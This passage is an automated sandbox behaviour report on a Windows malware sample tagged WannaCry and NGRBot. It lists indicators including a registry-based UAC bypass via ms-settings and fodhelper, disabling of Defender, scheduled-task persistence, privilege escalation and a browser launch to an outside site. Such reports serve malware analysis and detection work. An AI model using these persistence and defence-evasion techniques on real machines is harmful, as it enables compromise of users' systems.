2026-07-20_5f0be4ba023ea98e485316a1725f4f88_destroyer_elex_glassworm_ngrbot_wannacry.exe Key created \REGISTRY\USER\S-1-5-21-1788976790-1541110888-1636651838-1000_Classes\ms-settings\shell\open 2026-07-20_5f0be4ba023ea98e485316a1725f4f88_destroyer_elex_glassworm_ngrbot_wannacry.exe Key deleted \REGISTRY\USER\S-1-5-21-1788976790-1541110888-1636651838-1000_Classes\ms-settings 2026-07-20_5f0be4ba023ea98e485316a1725f4f88_destroyer_elex_glassworm_ngrbot_wannacry.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\PDFBotnet\shell\open\command 2026-07-20_5f0be4ba023ea98e485316a1725f4f88_destroyer_elex_glassworm_ngrbot_wannacry.exe Key created \REGISTRY\USER\S-1-5-21-1788976790-1541110888-1636651838-1000_Classes\ms-settings\shell 2026-07-20_5f0be4ba023ea98e485316a1725f4f88_destroyer_elex_glassworm_ngrbot_wannacry.exe Key deleted \REGISTRY\USER\S-1-5-21-1788976790-1541110888-1636651838-1000_Classes\ms-settings\shell\open\command 2026-07-20_5f0be4ba023ea98e485316a1725f4f88_destroyer_elex_glassworm_ngrbot_wannacry.exe Key created \REGISTRY\USER\S-1-5-21-1788976790-1541110888-1636651838-1000_Classes\CLSID\{018D5C66-4533-4307-9B53-224DE2ED1FE6}\Instance\ chrome.exe - Runs net.exe
- Scheduled Task/Job: Scheduled Task 1 TTPs 3 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
pid Process 2632 schtasks.exe 5724 schtasks.exe 5692 schtasks.exe - Suspicious behavior: EnumeratesProcesses 64 IoCs
pid Process 1076 chrome.exe 1076 chrome.exe 4716 powershell.exe 4716 powershell.exe 4716 powershell.exe 1876 2026-07-20_5f0be4ba023ea98e485316a1725f4f88_destroyer_elex_glassworm_ngrbot_wannacry.exe 1876 2026-07-20_5f0be4ba023ea98e485316a1725f4f88_destroyer_elex_glassworm_ngrbot_wannacry.exe 1876 2026-07-20_5f0be4ba023ea98e485316a1725f4f88_destroyer_elex_glassworm_ngrbot_wannacry.exe 1876 2026-07-20_5f0be4ba023ea98e485316a1725f4f88_destroyer_elex_glassworm_ngrbot_wannacry.exe 1876 2026-07-20_5f0be4ba023ea98e485316a1725f4f88_destroyer_elex_glassworm_ngrbot_wannacry.exe 1876 2026-07-20_5f0be4ba023ea98e485316a1725f4f88_destroyer_elex_glassworm_ngrbot_wannacry.exe 1876 2026-07-20_5f0be4ba023ea98e485316a1725f4f88_destroyer_elex_glassworm_ngrbot_wannacry.exe 1876 2026-07-20_5f0be4ba023ea98e485316a1725f4f88_destroyer_elex_glassworm_ngrbot_wannacry.exe 1876 2026-07-20_5f0be4ba023ea98e485316a1725f4f88_destroyer_elex_glassworm_ngrbot_wannacry.exe 1876 2026-07-20_5f0be4ba023ea98e485316a1725f4f88_destroyer_elex_glassworm_ngrbot_wannacry.exe 1876 2026-07-20_5f0be4ba023ea98e485316a1725f4f88_destroyer_elex_glassworm_ngrbot_wannacry.exe 1876 2026-07-20_5f0be4ba023ea98e485316a1725f4f88_destroyer_elex_glassworm_ngrbot_wannacry.exe 1876 2026-07-20_5f0be4ba023ea98e485316a1725f4f88_destroyer_elex_glassworm_ngrbot_wannacry.exe 1876 2026-07-20_5f0be4ba023ea98e485316a1725f4f88_destroyer_elex_glassworm_ngrbot_wannacry.exe 1876 2026-07-20_5f0be4ba023ea98e485316a1725f4f88_destroyer_elex_glassworm_ngrbot_wannacry.exe 1876 2026-07-20_5f0be4ba023ea98e485316a1725f4f88_destroyer_elex_glassworm_ngrbot_wannacry.exe 1876 2026-07-20_5f0be4ba023ea98e485316a1725f4f88_destroyer_elex_glassworm_ngrbot_wannacry.exe 1876 2026-07-20_5f0be4ba023ea98e485316a1725f4f88_destroyer_elex_glassworm_ngrbot_wannacry.exe 1876 2026-07-20_5f0be4ba023ea98e485316a1725f4f88_destroyer_elex_glassworm_ngrbot_wannacry.exe 1876 2026-07-20_5f0be4ba023ea98e485316a1725f4f88_destroyer_elex_glassworm_ngrbot_wannacry.exe 1876 2026-07-20_5f0be4ba023ea98e485316a1725f4f88_destroyer_elex_glassworm_ngrbot_wannacry.exe 1876 2026-07-20_5f0be4ba023ea98e485316a1725f4f88_destroyer_elex_glassworm_ngrbot_wannacry.exe 1876 2026-07-20_5f0be4ba023ea98e485316a1725f4f88_destroyer_elex_glassworm_ngrbot_wannacry.exe 1876 2026-07-20_5f0be4ba023ea98e485316a1725f4f88_destroyer_elex_glassworm_ngrbot_wannacry.exe 1876 2026-07-20_5f0be4ba023ea98e485316a1725f4f88_destroyer_elex_glassworm_ngrbot_wannacry.exe 1876 2026-07-20_5f0be4ba023ea98e485316a1725f4f88_destroyer_elex_glassworm_ngrbot_wannacry.exe 1876 2026-07-20_5f0be4ba023ea98e485316a1725f4f88_destroyer_elex_glassworm_ngrbot_wannacry.exe 1876 2026-07-20_5f0be4ba023ea98e485316a1725f4f88_destroyer_elex_glassworm_ngrbot_wannacry.exe 1876 2026-07-20_5f0be4ba023ea98e485316a1725f4f88_destroyer_elex_glassworm_ngrbot_wannacry.exe 1876 2026-07-20_5f0be4ba023ea98e485316a1725f4f88_destroyer_elex_glassworm_ngrbot_wannacry.exe 1876 2026-07-20_5f0be4ba023ea98e485316a1725f4f88_destroyer_elex_glassworm_ngrbot_wannacry.exe 1876 2026-07-20_5f0be4ba023ea98e485316a1725f4f88_destroyer_elex_glassworm_ngrbot_wannacry.exe 1876 2026-07-20_5f0be4ba023ea98e485316a1725f4f88_destroyer_elex_glassworm_ngrbot_wannacry.exe 1876 2026-07-20_5f0be4ba023ea98e485316a1725f4f88_destroyer_elex_glassworm_ngrbot_wannacry.exe 1876 2026-07-20_5f0be4ba023ea98e485316a1725f4f88_destroyer_elex_glassworm_ngrbot_wannacry.exe 1876 2026-07-20_5f0be4ba023ea98e485316a1725f4f88_destroyer_elex_glassworm_ngrbot_wannacry.exe 1876 2026-07-20_5f0be4ba023ea98e485316a1725f4f88_destroyer_elex_glassworm_ngrbot_wannacry.exe 1876 2026-07-20_5f0be4ba023ea98e485316a1725f4f88_destroyer_elex_glassworm_ngrbot_wannacry.exe 1876 2026-07-20_5f0be4ba023ea98e485316a1725f4f88_destroyer_elex_glassworm_ngrbot_wannacry.exe 1876 2026-07-20_5f0be4ba023ea98e485316a1725f4f88_destroyer_elex_glassworm_ngrbot_wannacry.exe 1876 2026-07-20_5f0be4ba023ea98e485316a1725f4f88_destroyer_elex_glassworm_ngrbot_wannacry.exe 1876 2026-07-20_5f0be4ba023ea98e485316a1725f4f88_destroyer_elex_glassworm_ngrbot_wannacry.exe 1876 2026-07-20_5f0be4ba023ea98e485316a1725f4f88_destroyer_elex_glassworm_ngrbot_wannacry.exe 1876 2026-07-20_5f0be4ba023ea98e485316a1725f4f88_destroyer_elex_glassworm_ngrbot_wannacry.exe 1876 2026-07-20_5f0be4ba023ea98e485316a1725f4f88_destroyer_elex_glassworm_ngrbot_wannacry.exe 1876 2026-07-20_5f0be4ba023ea98e485316a1725f4f88_destroyer_elex_glassworm_ngrbot_wannacry.exe 1876 2026-07-20_5f0be4ba023ea98e485316a1725f4f88_destroyer_elex_glassworm_ngrbot_wannacry.exe 1876 2026-07-20_5f0be4ba023ea98e485316a1725f4f88_destroyer_elex_glassworm_ngrbot_wannacry.exe 1876 2026-07-20_5f0be4ba023ea98e485316a1725f4f88_destroyer_elex_glassworm_ngrbot_wannacry.exe 1876 2026-07-20_5f0be4ba023ea98e485316a1725f4f88_destroyer_elex_glassworm_ngrbot_wannacry.exe 1876 2026-07-20_5f0be4ba023ea98e485316a1725f4f88_destroyer_elex_glassworm_ngrbot_wannacry.exe 1876 2026-07-20_5f0be4ba023ea98e485316a1725f4f88_destroyer_elex_glassworm_ngrbot_wannacry.exe 1876 2026-07-20_5f0be4ba023ea98e485316a1725f4f88_destroyer_elex_glassworm_ngrbot_wannacry.exe 1876 2026-07-20_5f0be4ba023ea98e485316a1725f4f88_destroyer_elex_glassworm_ngrbot_wannacry.exe 1876 2026-07-20_5f0be4ba023ea98e485316a1725f4f88_destroyer_elex_glassworm_ngrbot_wannacry.exe 1876 2026-07-20_5f0be4ba023ea98e485316a1725f4f88_destroyer_elex_glassworm_ngrbot_wannacry.exe 1876 2026-07-20_5f0be4ba023ea98e485316a1725f4f88_destroyer_elex_glassworm_ngrbot_wannacry.exe 1876 2026-07-20_5f0be4ba023ea98e485316a1725f4f88_destroyer_elex_glassworm_ngrbot_wannacry.exe 1876 2026-07-20_5f0be4ba023ea98e485316a1725f4f88_destroyer_elex_glassworm_ngrbot_wannacry.exe - Suspicious behavior: GetForegroundWindowSpam 1 IoCs
pid Process 1876 2026-07-20_5f0be4ba023ea98e485316a1725f4f88_destroyer_elex_glassworm_ngrbot_wannacry.exe - Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 4 IoCs
pid Process 1076 chrome.exe 1076 chrome.exe 1076 chrome.exe 1076 chrome.exe - Suspicious use of AdjustPrivilegeToken 64 IoCs
description pid Process Token: SeShutdownPrivilege 1076 chrome.exe Token: SeCreatePagefilePrivilege 1076 chrome.exe Token: SeDebugPrivilege 4716 powershell.exe Token: SeShutdownPrivilege 1076 chrome.exe Token: SeCreatePagefilePrivilege 1076 chrome.exe Token: SeIncreaseQuotaPrivilege 2212 WMIC.exe Token: SeSecurityPrivilege 2212 WMIC.exe Token: SeTakeOwnershipPrivilege 2212 WMIC.exe Token: SeLoadDriverPrivilege 2212 WMIC.exe Token: SeSystemProfilePrivilege 2212 WMIC.exe Token: SeSystemtimePrivilege 2212 WMIC.exe Token: SeProfSingleProcessPrivilege 2212 WMIC.exe Token: SeIncBasePriorityPrivilege 2212 WMIC.exe Token: SeCreatePagefilePrivilege 2212 WMIC.exe Token: SeBackupPrivilege 2212 WMIC.exe Token: SeRestorePrivilege 2212 WMIC.exe Token: SeShutdownPrivilege 2212 WMIC.exe Token: SeDebugPrivilege 2212 WMIC.exe Token: SeSystemEnvironmentPrivilege 2212 WMIC.exe Token: SeRemoteShutdownPrivilege 2212 WMIC.exe Token: SeUndockPrivilege 2212 WMIC.exe Token: SeManageVolumePrivilege 2212 WMIC.exe Token: 33 2212 WMIC.exe Token: 34 2212 WMIC.exe Token: 35 2212 WMIC.exe Token: 36 2212 WMIC.exe Token: SeIncreaseQuotaPrivilege 2212 WMIC.exe Token: SeSecurityPrivilege 2212 WMIC.exe Token: SeTakeOwnershipPrivilege 2212 WMIC.exe Token: SeLoadDriverPrivilege 2212 WMIC.exe Token: SeSystemProfilePrivilege 2212 WMIC.exe Token: SeSystemtimePrivilege 2212 WMIC.exe Token: SeProfSingleProcessPrivilege 2212 WMIC.exe Token: SeIncBasePriorityPrivilege 2212 WMIC.exe Token: SeCreatePagefilePrivilege 2212 WMIC.exe Token: SeBackupPrivilege 2212 WMIC.exe Token: SeRestorePrivilege 2212 WMIC.exe Token: SeShutdownPrivilege 2212 WMIC.exe Token: SeDebugPrivilege 2212 WMIC.exe Token: SeSystemEnvironmentPrivilege 2212 WMIC.exe Token: SeRemoteShutdownPrivilege 2212 WMIC.exe Token: SeUndockPrivilege 2212 WMIC.exe Token: SeManageVolumePrivilege 2212 WMIC.exe Token: 33 2212 WMIC.exe Token: 34 2212 WMIC.exe Token: 35 2212 WMIC.exe Token: 36 2212 WMIC.exe Token: SeBackupPrivilege 4924 vssvc.exe Token: SeRestorePrivilege 4924 vssvc.exe Token: SeAuditPrivilege 4924 vssvc.exe Token: SeShutdownPrivilege 1076 chrome.exe Token: SeCreatePagefilePrivilege 1076 chrome.exe Token: SeShutdownPrivilege 1076 chrome.exe Token: SeCreatePagefilePrivilege 1076 chrome.exe Token: SeShutdownPrivilege 1076 chrome.exe Token: SeCreatePagefilePrivilege 1076 chrome.exe Token: SeShutdownPrivilege 1076 chrome.exe Token: SeCreatePagefilePrivilege 1076 chrome.exe Token: SeDebugPrivilege 1876 2026-07-20_5f0be4ba023ea98e485316a1725f4f88_destroyer_elex_glassworm_ngrbot_wannacry.exe Token: SeShutdownPrivilege 1076 chrome.exe Token: SeCreatePagefilePrivilege 1076 chrome.exe Token: SeShutdownPrivilege 1076 chrome.exe Token: SeCreatePagefilePrivilege 1076 chrome.exe Token: SeIncBasePriorityPrivilege 1876 2026-07-20_5f0be4ba023ea98e485316a1725f4f88_destroyer_elex_glassworm_ngrbot_wannacry.exe - Suspicious use of FindShellTrayWindow 34 IoCs
pid Process 1076 chrome.exe 1076 chrome.exe 1076 chrome.exe 1076 chrome.exe 1076 chrome.exe 1076 chrome.exe 1076 chrome.exe 1076 chrome.exe 1076 chrome.exe 1076 chrome.exe 1076 chrome.exe 1076 chrome.exe 1076 chrome.exe 1076 chrome.exe 1076 chrome.exe 1076 chrome.exe 1076 chrome.exe 1076 chrome.exe 1076 chrome.exe 1076 chrome.exe 1076 chrome.exe 1076 chrome.exe 1076 chrome.exe 1076 chrome.exe 1076 chrome.exe 1076 chrome.exe 1076 chrome.exe 1076 chrome.exe 1076 chrome.exe 1076 chrome.exe 1076 chrome.exe 1076 chrome.exe 1076 chrome.exe 1076 chrome.exe - Suspicious use of SendNotifyMessage 32 IoCs
pid Process 1076 chrome.exe 1076 chrome.exe 1076 chrome.exe 1076 chrome.exe 1076 chrome.exe 1076 chrome.exe 1076 chrome.exe 1076 chrome.exe 1076 chrome.exe 1076 chrome.exe 1076 chrome.exe 1076 chrome.exe 1076 chrome.exe 1076 chrome.exe 1076 chrome.exe 1076 chrome.exe 1076 chrome.exe 1076 chrome.exe 1076 chrome.exe 1076 chrome.exe 1076 chrome.exe 1076 chrome.exe 1076 chrome.exe 1076 chrome.exe 1076 chrome.exe 1076 chrome.exe 1076 chrome.exe 1076 chrome.exe 1076 chrome.exe 1076 chrome.exe 1076 chrome.exe 1076 chrome.exe - Suspicious use of SetWindowsHookEx 1 IoCs
pid Process 1876 2026-07-20_5f0be4ba023ea98e485316a1725f4f88_destroyer_elex_glassworm_ngrbot_wannacry.exe - Suspicious use of WriteProcessMemory 64 IoCs
description pid Process procid_target PID 1876 wrote to memory of 1076 1876 2026-07-20_5f0be4ba023ea98e485316a1725f4f88_destroyer_elex_glassworm_ngrbot_wannacry.exe 84 PID 1076 wrote to memory of 4332 1076 chrome.exe 85 PID 1876 wrote to memory of 4716 1876 2026-07-20_5f0be4ba023ea98e485316a1725f4f88_destroyer_elex_glassworm_ngrbot_wannacry.exe 86 PID 1876 wrote to memory of 1640 1876 2026-07-20_5f0be4ba023ea98e485316a1725f4f88_destroyer_elex_glassworm_ngrbot_wannacry.exe 87 PID 1876 wrote to memory of 2852 1876 2026-07-20_5f0be4ba023ea98e485316a1725f4f88_destroyer_elex_glassworm_ngrbot_wannacry.exe 89 PID 1876 wrote to memory of 3984 1876 2026-07-20_5f0be4ba023ea98e485316a1725f4f88_destroyer_elex_glassworm_ngrbot_wannacry.exe 91 PID 1876 wrote to memory of 2632 1876 2026-07-20_5f0be4ba023ea98e485316a1725f4f88_destroyer_elex_glassworm_ngrbot_wannacry.exe 149 PID 1876 wrote to memory of 1060 1876 2026-07-20_5f0be4ba023ea98e485316a1725f4f88_destroyer_elex_glassworm_ngrbot_wannacry.exe 96 PID 1876 wrote to memory of 4932 1876 2026-07-20_5f0be4ba023ea98e485316a1725f4f88_destroyer_elex_glassworm_ngrbot_wannacry.exe 98 PID 1876 wrote to memory of 4024 1876 2026-07-20_5f0be4ba023ea98e485316a1725f4f88_destroyer_elex_glassworm_ngrbot_wannacry.exe 100 PID 1076 wrote to memory of 3036 1076 chrome.exe 102 PID 1076 wrote to memory of 3036 1076 chrome.exe 102 PID 1076 wrote to memory of 2364 1076 chrome.exe 103 PID 1076 wrote to memory of 3964 1076 chrome.exe 104 PID 1076 wrote to memory of 3964 1076 chrome.exe 104 PID 1876 wrote to memory of 3508 1876 2026-07-20_5f0be4ba023ea98e485316a1725f4f88_destroyer_elex_glassworm_ngrbot_wannacry.exe 106 PID 1076 wrote to memory of 4268 1076 chrome.exe 107 PID 1076 wrote to memory of 2388 1076 chrome.exe 108 PID 1076 wrote to memory of 4268 1076 chrome.exe 107 PID 1076 wrote to memory of 2388 1076 chrome.exe 108 PID 1876 wrote to memory of 4532 1876 2026-07-20_5f0be4ba023ea98e485316a1725f4f88_destroyer_elex_glassworm_ngrbot_wannacry.exe 110 PID 1076 wrote to memory of 4852 1076 chrome.exe 111 PID 1076 wrote to memory of 4852 1076 chrome.exe 111 PID 1876 wrote to memory of 1904 1876 2026-07-20_5f0be4ba023ea98e485316a1725f4f88_destroyer_elex_glassworm_ngrbot_wannacry.exe 112 PID 1876 wrote to memory of 1408 1876 2026-07-20_5f0be4ba023ea98e485316a1725f4f88_destroyer_elex_glassworm_ngrbot_wannacry.exe 114 PID 1876 wrote to memory of 1832 1876 2026-07-20_5f0be4ba023ea98e485316a1725f4f88_destroyer_elex_glassworm_ngrbot_wannacry.exe 116 PID 1876 wrote to memory of 2212 1876 2026-07-20_5f0be4ba023ea98e485316a1725f4f88_destroyer_elex_glassworm_ngrbot_wannacry.exe 139 PID 4532 wrote to memory of 4264 4532 fodhelper.exe 120 PID 1076 wrote to memory of 980 1076 chrome.exe 121 PID 1076 wrote to memory of 980 1076 chrome.exe 121 PID 1876 wrote to memory of 5116 1876 2026-07-20_5f0be4ba023ea98e485316a1725f4f88_destroyer_elex_glassworm_ngrbot_wannacry.exe 126 PID 1876 wrote to memory of 5724 1876 2026-07-20_5f0be4ba023ea98e485316a1725f4f88_destroyer_elex_glassworm_ngrbot_wannacry.exe 127 PID 1876 wrote to memory of 5692 1876 2026-07-20_5f0be4ba023ea98e485316a1725f4f88_destroyer_elex_glassworm_ngrbot_wannacry.exe 129 PID 1876 wrote to memory of 6080 1876 2026-07-20_5f0be4ba023ea98e485316a1725f4f88_destroyer_elex_glassworm_ngrbot_wannacry.exe 133 PID 1876 wrote to memory of 6128 1876 2026-07-20_5f0be4ba023ea98e485316a1725f4f88_destroyer_elex_glassworm_ngrbot_wannacry.exe 135 PID 1876 wrote to memory of 260 1876 2026-07-20_5f0be4ba023ea98e485316a1725f4f88_destroyer_elex_glassworm_ngrbot_wannacry.exe 137 PID 1876 wrote to memory of 4748 1876 2026-07-20_5f0be4ba023ea98e485316a1725f4f88_destroyer_elex_glassworm_ngrbot_wannacry.exe 138 PID 1876 wrote to memory of 2212 1876 2026-07-20_5f0be4ba023ea98e485316a1725f4f88_destroyer_elex_glassworm_ngrbot_wannacry.exe 139 PID 1876 wrote to memory of 4372 1876 2026-07-20_5f0be4ba023ea98e485316a1725f4f88_destroyer_elex_glassworm_ngrbot_wannacry.exe 140 PID 1876 wrote to memory of 4540 1876 2026-07-20_5f0be4ba023ea98e485316a1725f4f88_destroyer_elex_glassworm_ngrbot_wannacry.exe 141 PID 1876 wrote to memory of 1128 1876 2026-07-20_5f0be4ba023ea98e485316a1725f4f88_destroyer_elex_glassworm_ngrbot_wannacry.exe 142 PID 1876 wrote to memory of 2632 1876 2026-07-20_5f0be4ba023ea98e485316a1725f4f88_destroyer_elex_glassworm_ngrbot_wannacry.exe 149 PID 1876 wrote to memory of 4672 1876 2026-07-20_5f0be4ba023ea98e485316a1725f4f88_destroyer_elex_glassworm_ngrbot_wannacry.exe 151 PID 4372 wrote to memory of 1944 4372 cmd.exe 152 PID 4540 wrote to memory of 3796 4540 cmd.exe 153 PID 6128 wrote to memory of 788 6128 cmd.exe 154 PID 2212 wrote to memory of 2052 2212 cmd.exe 155 PID 1128 wrote to memory of 728 1128 cmd.exe 156 PID 1944 wrote to memory of 5132 1944 net.exe 157 PID 260 wrote to memory of 676 260 cmd.exe 158 PID 4748 wrote to memory of 2936 4748 cmd.exe 159 PID 6128 wrote to memory of 4904 6128 cmd.exe 160 PID 1876 wrote to memory of 5164 1876 2026-07-20_5f0be4ba023ea98e485316a1725f4f88_destroyer_elex_glassworm_ngrbot_wannacry.exe 161 PID 1876 wrote to memory of 5248 1876 2026-07-20_5f0be4ba023ea98e485316a1725f4f88_destroyer_elex_glassworm_ngrbot_wannacry.exe 163 PID 1876 wrote to memory of 5196 1876 2026-07-20_5f0be4ba023ea98e485316a1725f4f88_destroyer_elex_glassworm_ngrbot_wannacry.exe 164 PID 1876 wrote to memory of 5588 1876 2026-07-20_5f0be4ba023ea98e485316a1725f4f88_destroyer_elex_glassworm_ngrbot_wannacry.exe 167 PID 1876 wrote to memory of 5460 1876 2026-07-20_5f0be4ba023ea98e485316a1725f4f88_destroyer_elex_glassworm_ngrbot_wannacry.exe 168 PID 1876 wrote to memory of 5468 1876 2026-07-20_5f0be4ba023ea98e485316a1725f4f88_destroyer_elex_glassworm_ngrbot_wannacry.exe 169 PID 5196 wrote to memory of 5496 5196 net.exe 173 PID 1076 wrote to memory of 5980 1076 chrome.exe 175 PID 1076 wrote to memory of 5516 1076 chrome.exe 190 PID 1076 wrote to memory of 5760 1076 chrome.exe 191 PID 1076 wrote to memory of 5544 1076 chrome.exe 192 PID 1076 wrote to memory of 4524 1076 chrome.exe 203 - Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
- Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
Processes
-
C:\Users\Admin\AppData\Local\Temp\2026-07-20_5f0be4ba023ea98e485316a1725f4f88_destroyer_elex_glassworm_ngrbot_wannacry.exe"C:\Users\Admin\AppData\Local\Temp\2026-07-20_5f0be4ba023ea98e485316a1725f4f88_destroyer_elex_glassworm_ngrbot_wannacry.exe"1⤵
- Modifies Windows Defender DisableAntiSpyware settings
- Modifies security service
- Disables RegEdit via registry modification
- Drops file in Drivers directory
- Event Triggered Execution: Image File Execution Options Injection
- Checks computer location settings
- Drops startup file
- Adds Run key to start application
- Drops file in System32 directory
- Sets desktop wallpaper using registry
- Modifies Control Panel
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:1876 -
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" http://hauntthehouse.io2⤵
- Checks processor information in registry
- Enumerates system info in registry
- Modifies data under HKEY_USERS
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
- Suspicious use of WriteProcessMemory
PID:1076 -
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=140.0.7339.81 --initial-client-data=0xf8,0xfc,0x100,0xd4,0x104,0x7ffbbc47c728,0x7ffbbc47c734,0x7ffbbc47c7403⤵PID:4332
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --no-pre-read-main-dll --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADgAAAIAAAAAAAAAAAAAGAAAQAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --metrics-shmem-handle=1664,i,10163799507741756600,11469220024403477514,262144 --field-trial-handle=1972,i,16300688410655709219,16152888908989557634,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=1968 /prefetch:23⤵PID:3036
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --metrics-shmem-handle=1560,i,15417586888918899017,5115363371178780191,524288 --field-trial-handle=1972,i,16300688410655709219,16152888908989557634,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=2252 /prefetch:33⤵
- System Time Discovery
PID:2364
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --metrics-shmem-handle=2348,i,14874774322115441284,11900004326656733200,524288 --field-trial-handle=1972,i,16300688410655709219,16152888908989557634,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=2684 /prefetch:83⤵PID:3964
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --metrics-shmem-handle=3124,i,16420746488972745551,13338288231563494072,2097152 --field-trial-handle=1972,i,16300688410655709219,16152888908989557634,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=3164 /prefetch:13⤵PID:4268
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --metrics-shmem-handle=3136,i,2939303632849760393,16706944175736232319,2097152 --field-trial-handle=1972,i,16300688410655709219,16152888908989557634,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=3184 /prefetch:13⤵PID:2388
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --extension-process --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --metrics-shmem-handle=4436,i,16073400803892465926,3926227666365438341,2097152 --field-trial-handle=1972,i,16300688410655709219,16152888908989557634,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=4264 /prefetch:23⤵PID:4852
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --metrics-shmem-handle=4684,i,14624377737364824342,10735767385269797663,2097152 --field-trial-handle=1972,i,16300688410655709219,16152888908989557634,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=4700 /prefetch:13⤵PID:980
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.ProcessorMetrics --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --metrics-shmem-handle=5384,i,5823031799127791166,6494260528837084902,524288 --field-trial-handle=1972,i,16300688410655709219,16152888908989557634,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=3172 /prefetch:83⤵PID:5980
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --metrics-shmem-handle=5780,i,5695299463962227279,6695620750876477381,524288 --field-trial-handle=1972,i,16300688410655709219,16152888908989557634,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=5792 /prefetch:83⤵PID:5516
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --metrics-shmem-handle=5784,i,11346426641055466278,11977815084217961171,524288 --field-trial-handle=1972,i,16300688410655709219,16152888908989557634,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=5828 /prefetch:83⤵PID:5760
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --metrics-shmem-handle=5788,i,2434928328668447713,3841587009096522557,524288 --field-trial-handle=1972,i,16300688410655709219,16152888908989557634,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=5696 /prefetch:83⤵PID:5544
-
-
